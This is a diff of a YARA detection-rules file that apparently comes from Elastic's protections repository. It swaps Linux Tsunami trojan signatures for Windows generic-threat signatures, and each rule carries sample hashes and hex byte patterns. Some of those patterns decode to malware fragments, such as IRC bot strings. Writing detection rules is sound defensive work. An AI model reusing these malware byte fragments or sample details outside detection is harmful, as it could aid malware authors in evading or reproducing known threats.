-		fingerprint = "91e2572a3bb8583e20042578e95e1746501c6a71ef7635af2c982a05b18d7c6d"
-		severity = 100
+		fingerprint = "3fa8712dbf0cdb0581fc312bcfa2e9ea50e04cccba6dc93f377c1b64e96784aa"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 3E 20 3C 70 6F 72 74 3E 20 3C 72 65 66 6C 65 63 74 69 6F 6E 20 }
+		$a1 = { 28 00 00 0A 02 7B 0F 00 00 04 6F 29 00 00 0A 7D 10 00 00 04 02 7B 10 00 00 04 28 2A 00 00 0A 00 02 7B 08 00 00 04 7B 03 00 00 04 02 7B 10 00 00 04 6F 2B 00 00 0A 16 FE 01 0D 09 39 29 01 00 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_2462067E : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_B1Ef4828 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "2462067e-06cf-409c-8184-86bd7a772690"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "b1ef4828-10bd-41f8-84b5-041bf3147c0b"
+		date = "2024-03-04"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L221-L239"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3847f1c7c15ce771613079419de3d5e8adc07208e1fefa23f7dd416b532853a1"
-		logic_hash = "cf6c0703f9108f8193e0a9c18ba3d76263527a13fe44e194fa464d399512ae05"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2860-L2879"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "29b20ff8ebad05e4a33c925251d08824ca155f5d9fa72d6f9e359e6ec6c61279"
+		logic_hash = "d5d63f38308c6f8e5ca54567c7c8b93fcde69601fbcc28d56d5231edd28163cf"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "f84d62ad2d6f907a47ea9ff565619648564b7003003dc8f20e28a582a8331e6b"
-		severity = 100
+		fingerprint = "e867d9a0a489d95898f85578c71d7411eac3142539fcc88df51d1cf048d351a9"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 8B 45 F4 8B 40 0C 89 C1 8B 45 F4 8B 40 10 8B 10 8D 45 E4 89 C7 }
+		$a1 = { 70 36 72 20 74 24 76 28 78 2C 7A 30 7C 34 7E 38 7E 3C 7E 40 7E 54 7E 74 7E 7C 5D }
+		$a2 = { 7E 30 7E 34 7E 43 7E 4F 7E 5A 7E 6E 7E 79 7E }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_0A028640 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_48Cbdc20 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "0a028640-581f-4183-9313-e36c5812e217"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "48cbdc20-386a-491e-8407-f7c4c348f2e9"
+		date = "2024-03-04"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L241-L259"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e36081f0dbd6d523c9378cdd312e117642b0359b545b29a61d8f9027d8c0f2f0"
-		logic_hash = "663f110c7214498466759b66a83ff1844f5bf45ce706fa8ad0e8b205cc9c8f72"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2881-L2900"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7a7704c64e64d3a1f76fc718d5b5a5e3d46beeeb62f0493f22e50865ddf66594"
+		logic_hash = "687d0f3dc85a7e4b23019deec59ee77c211101d40ed6622a952e69ebc4151483"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "1b296e8baffbe3e0e49aee23632afbfab75147f31561d73eb0c82f909c5ec718"
-		severity = 100
+		fingerprint = "98db38ebd05e99171489828491e6acfc7c4322283b325ed99429f366b0ee01a6"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 10 85 C0 74 2D 8B 45 0C 0F B6 00 84 C0 74 19 8B 45 0C 83 C0 01 83 }
+		$a1 = { 5E 69 69 69 4E 42 42 42 3E 2E 2E 2E 25 }
+		$a2 = { 24 2E 2E 2E 2F 41 41 41 3A 51 51 51 47 5D 5D 5D 54 69 69 69 62 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_6B3974B2 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_420E1Cdc : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "6b3974b2-fd7f-4ebf-8aba-217761e7b846"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "420e1cdc-2d47-437a-986d-ff22d2fac978"
+		date = "2024-03-04"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L281-L299"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2216776ba5c6495d86a13f6a3ce61b655b72a328ca05b3678d1abb7a20829d04"
-		logic_hash = "7c44a0abcd51a6b775fc379b592652ebb10faf16c039ca23b20984183340cada"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2902-L2920"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b20254e03f7f1e79fec51d614ee0cfe0cb87432f3a53cf98cf8c047c13e2d774"
+		logic_hash = "6bd8a7bd4392e04d64f2e0b93d80978f59f9af634a0c971ca61cb9cb593743e0"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "942a35f7acacf1d07577fe159a34dc7b04e5d07ff32ea13be975cfeea23e34be"
-		severity = 100
+		fingerprint = "33f35c5c73656fc5987c39fabefa1225fef1734f4217518a1b6e7a78669c90c5"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { F4 89 45 EC 8B 45 EC C9 C3 55 89 E5 57 83 EC 0C EB 1F 8B 45 08 B9 FF FF }
+		$a1 = { 55 8B EC 51 56 8B 75 08 85 F6 74 5A ?? ?? ?? ?? ?? 83 F8 03 75 16 56 E8 ED 01 00 00 59 85 C0 56 74 36 50 E8 0C 02 00 00 59 59 EB 3A 83 F8 02 75 26 8D 45 08 50 8D 45 FC 50 56 E8 25 0F 00 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_87Bcb848 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_4C37E16E : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "87bcb848-cd8b-478c-87de-5df8c457024c"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "4c37e16e-b7ca-449a-a09f-836706b2f66a"
+		date = "2024-03-04"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L301-L319"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "575b0dc887d132aa3983e5712b8f642b03762b0685fbd5a32c104bca72871857"
-		logic_hash = "60e8aa7e27ea0bec665075a373ce150c21af4cddfd511b7ec771293126f0006c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2922-L2941"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d83a8ed5e192b3fe9d74f3a9966fa094d23676c7e6586c9240d97c252b8e4e74"
+		logic_hash = "dabac8aa6a3f4d4bd726161fc6573ca9de4088e7d818c3cf33cafc91f680e7aa"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "ffd1a95ba4801bb51ce9b688bdb9787d4a8e3bc3a60ad0f52073f5c531bc6df7"
-		severity = 100
+		fingerprint = "9fbd2883fb0140de50df755f7099a0dc3cf377ee350710108fef96c912f43460"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 65 6D 6F 74 65 00 52 65 6D 6F 74 65 20 49 52 43 20 42 6F 74 00 23 }
+		$a1 = { 2E 3F 41 56 43 44 72 6F 70 41 70 69 40 40 }
+		$a2 = { 2D 2D 77 77 6A 61 75 67 68 61 6C 76 6E 63 6A 77 69 61 6A 73 2D 2D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_Ad60D7E8 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_5Be3A474 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "ad60d7e8-0823-4bfa-b823-681c554bf297"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "5be3a474-d12f-489f-a2a7-87d29687e2e6"
+		date = "2024-03-04"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L321-L338"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "1253a8cd1a5230f1ec1f8c7ecd07f89f28acf5c2aa92395c6cb9e635c16a1e25"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2943-L2961"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b902954d634307260d5bd8fb6248271f933c1cbc649aa2073bf05e79c1aedb66"
+		logic_hash = "0f0f46e3bdebb47a4f43ccb64d65ab1e15d68d38c117cb25e5723ec16e7e0758"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce"
-		severity = 100
+		fingerprint = "8b220ea86ad3bbdcf6e2f976dc0bb84c1eb8cb1f3ad46ab5c9d19289952c912b"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 }
+		$a1 = { 55 8B EC 51 53 56 57 8B F9 33 F6 8D 5F 02 66 8B 07 83 C7 02 66 3B C6 75 F5 8A 01 2B FB D1 FF 8D 5F FF 85 DB 7E 23 0F B6 F8 83 C1 02 66 8B 01 8D 49 02 66 2B C7 C7 45 FC 00 08 00 00 66 2B 45 FC }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_22646C0D : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_B191061E : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "22646c0d-785c-4cf2-b8c8-289189ae14d0"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "b191061e-7b83-4161-a1d4-05ab70ffe2be"
+		date = "2024-03-04"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L340-L358"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "20439a8fc21a94c194888725fbbb7a7fbeef5faf4b0f704559d89f1cd2e57d9d"
-		logic_hash = "548f531429132392f6d9bccff706b56ba87d8e44763116dedca5d0baa5097b92"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2963-L2981"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bd4ef6fae7f29def8e5894bf05057653248f009422de85c1e425d04a0b2df258"
+		logic_hash = "cbee10eab984249ceb9f8a82dc06aa014d6a249321f3d4f0d1e5657aab205ec8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0b1dce4e74536d4d06430aefd0127c740574dcc9a0e5ada42f3d51d97437720f"
-		severity = 100
+		fingerprint = "5733de0357a6b5f6a3fe885786084c23707266b48e67b19dcddc48ed97e94207"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { CB 01 00 00 55 53 51 52 48 01 FE 56 48 89 FE 48 89 D7 31 DB }
+		$a1 = { 83 EC 2C 64 A1 30 00 00 00 33 D2 53 56 57 8B 40 0C 8B F2 89 4D E8 89 55 F4 89 75 F8 8B 58 0C 8B 7B 18 89 7D F0 85 FF 0F 84 34 01 00 00 C7 45 E0 60 00 00 00 8B 43 30 89 55 FC 89 55 EC }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_019F0E75 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_05F52E4D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "019f0e75-a766-4778-8337-c5bce478ecd9"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "05f52e4d-d131-491a-a037-069b450e3b3e"
+		date = "2024-03-04"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L360-L378"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "575b0dc887d132aa3983e5712b8f642b03762b0685fbd5a32c104bca72871857"
-		logic_hash = "7a63eb94266b04a31ba67165c512e2e060c3e344665aeed748a51943143b2219"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2983-L3001"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e578b795f8ed77c1057d8e6b827f7426fd4881f02949bfc83bcad11fa7eb2403"
+		logic_hash = "79898b59b6d3564aad85d823a1450600faff5b1d2dbfbe0cee4cc59971e4f542"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3b66dcdd89ce564cf81689ace33ee91682972421a9926efa1985118cefebdddc"
-		severity = 100
+		fingerprint = "f3d5f6dc1f9b51ce1700605c8a018000124d66a260771de0da1a321dc97872dd"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 2E 0A 00 2B 73 74 64 00 2B 73 74 6F 70 00 2B 75 6E 6B 6E 6F }
+		$a1 = { 28 00 00 06 73 45 00 00 0A 73 46 00 00 0A 6F 47 00 00 0A 14 FE 06 29 00 00 06 73 45 00 00 0A 73 46 00 00 0A 0B 14 FE 06 2A 00 00 06 73 45 00 00 0A 73 46 00 00 0A 0C 07 6F 47 00 00 0A 08 6F 47 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_7C545Abf : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_C34E19E9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "7c545abf-822d-44bb-8ac9-1b7e4f27698d"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "c34e19e9-c666-4fc5-bbb3-75f64d247899"
+		date = "2024-03-04"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L380-L398"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "95691c7ad1d80f7f1b5541e1d1a1dbeba30a26702a4080d256f14edb75851c5d"
-		logic_hash = "fa50ccc4c85417d18a84b7f117f853609c44b17c488a937cdc7495e2d32757f7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3003-L3021"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f9048348a59d9f824b45b16b1fdba9bfeda513aa9fbe671442f84b81679232db"
+		logic_hash = "87999b6f2cf359b6436ee7e57691ac73fc41f3947bf8fef3f6b98148e17f180d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4141069d6c41c0c26b53a8a86fd675f09982ca6e99757a04ef95b9ad0b8efefa"
-		severity = 100
+		fingerprint = "148ffb1f73a3f337d188c78de638880ea595a812dfa7a0ada6dc66805637aeb3"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 03 FC DF 40 9C B8 20 07 09 20 35 15 11 03 20 85 }
+		$a1 = { 28 00 00 0A 73 18 00 00 0A 7E 02 00 00 04 17 8D 3A 00 00 01 25 16 1F 2C 9D 6F 28 00 00 0A 8E 69 6F 29 00 00 0A 9A 0A 7E 01 00 00 04 17 8D 3A 00 00 01 25 16 1F 2C 9D 6F 28 00 00 0A 73 18 00 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_32C0B950 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_E691Eaa1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "32c0b950-0636-42bb-bc67-1b727985625f"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "e691eaa1-06fa-478e-8c4c-95a7df3fd077"
+		date = "2024-03-04"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L400-L418"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "214c1caf20ceae579476d3bf97f489484df4c5f1c0c44d37ff9b9066072cd83c"
-		logic_hash = "db077e5916327ca78fcc9dc35f64e5c497dbbe60c4a0c1eb7abb49c555765681"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3023-L3041"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "afa5f36860e69b9134b93e9ad32fed0a5923772e701437e1054ea98e76f28a77"
+		logic_hash = "0ac310e3f7cf99b77c2dcfea582752e2f1414caf43965c25d2f3f03cf27586cc"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e438287517c3492fa87115a3aa5402fd05f9745b7aed8e251fb3ed9d653984bb"
-		severity = 100
+		fingerprint = "b940eb10e338f6d703a75cd77b4b455503ae0583f5a36b8115e659d05990fc3c"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 05 20 BC F8 41 B8 20 07 09 20 35 15 11 03 20 85 }
+		$a1 = { 55 8B EC 51 8B C2 53 89 45 FC 8B D9 56 99 33 F6 2B C2 57 8B F8 D1 FF 85 FF 7E 2B 8B 55 FC 4A 03 D3 0F B6 02 8D 52 FF 8A 0C 1E ?? ?? ?? ?? ?? ?? ?? 88 04 1E 46 0F B6 C1 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_Cbf50D9C : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_5E33Bb4B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "cbf50d9c-2893-48c9-a2a9-45053f0a174b"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "5e33bb4b-830e-4814-b6cf-d5e5b4da7ada"
+		date = "2024-03-04"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L420-L438"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b64d0cf4fc4149aa4f63900e61b6739e154d328ea1eb31f4c231016679fc4aa5"
-		logic_hash = "331a35fb3ecc54022b1d4d05bd64e7c5c6a7997b06dbea3a36c33ccc0a2f7086"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3043-L3061"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "13c06d7b030a46c6bb6351f40184af9fafaf4c67b6a2627a45925dd17501d659"
+		logic_hash = "7e2002c3917ccab7d9f56a7aa20ea75be71aa7fdc64b7c3f87edb68be38e74b2"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "acb32177d07df40112d99ed0a2b7ed01fbca63df1f63387cf939caa4cf1cf83b"
-		severity = 100
+		fingerprint = "a08b9db015f1b6f62252d456b1b0cd0fdec1e19cdd2bc1400fe2bf76150ea07b"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 07 F8 BF 81 9C B8 20 07 09 20 35 15 11 03 20 85 }
+		$a1 = { 43 3A 5C 55 73 65 72 73 5C 61 64 6D 69 6E 5C 44 65 73 6B 74 6F 70 5C 57 6F 72 6B 5C 46 69 6C 65 49 6E 73 74 61 6C 6C 65 72 5C 52 65 6C 65 61 73 65 5C 46 69 6C 65 49 6E 73 74 61 6C 6C 65 72 2E 70 64 62 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_40C25A06 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Be64Ba10 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "40c25a06-5f3c-42c1-9a8c-5c4a1568ff9a"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "be64ba10-ea9d-45df-8c9b-2facc825b652"
+		date = "2024-03-04"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L440-L458"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "61af6bb7be25465e7d469953763be5671f33c197d4b005e4a78227da11ae91e9"
-		logic_hash = "38976911ff9e56fae27fad8b9df01063ed703f43c8220b1fbcef7a3945b3f1ad"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3063-L3082"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "24bb4fc117aa57fd170e878263973a392d094c94d3a5f651fad7528d5d73b58a"
+		logic_hash = "c6acce53610baf119a0e2d55fc698a976463bbd21b739d4ac39a75383fa5fed2"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "b45d666e2e7d571e95806a1a2c8e01cd5cd0d71160cbb06b268110d459ee252d"
-		severity = 100
+		fingerprint = "9496099988cf4f854bf7f70bae158c6e17025a7537245c5f1d92a90f6b9bca67"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 20 74 13 9C B8 20 07 09 20 35 15 11 03 20 85 }
+		$a1 = { 22 65 6E 63 72 79 70 74 65 64 5F 6B 65 79 22 3A 22 28 2E 2B 3F 29 22 }
+		$a2 = { 2E 3F 41 56 3C 6C 61 6D 62 64 61 5F 37 65 66 38 63 66 32 36 39 61 32 32 38 62 36 30 34 64 36 35 34 33 32 65 37 65 63 33 37 30 31 34 3E 40 40 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_35806Adc : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_7Bb75582 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "35806adc-9bac-4481-80c8-a673730d5179"
-		date = "2021-12-13"
-		modified = "2022-01-26"
+		id = "7bb75582-ffcd-4a91-8816-811a3f9bdec8"
+		date = "2024-03-04"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L460-L478"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "15e7942ebf88a51346d3a5975bb1c2d87996799e6255db9e92aed798d279b36b"
-		logic_hash = "6e9d3e5c0a33208d1b5f4f84f8634955e70bd63395b367cd1ece67798ce5e502"
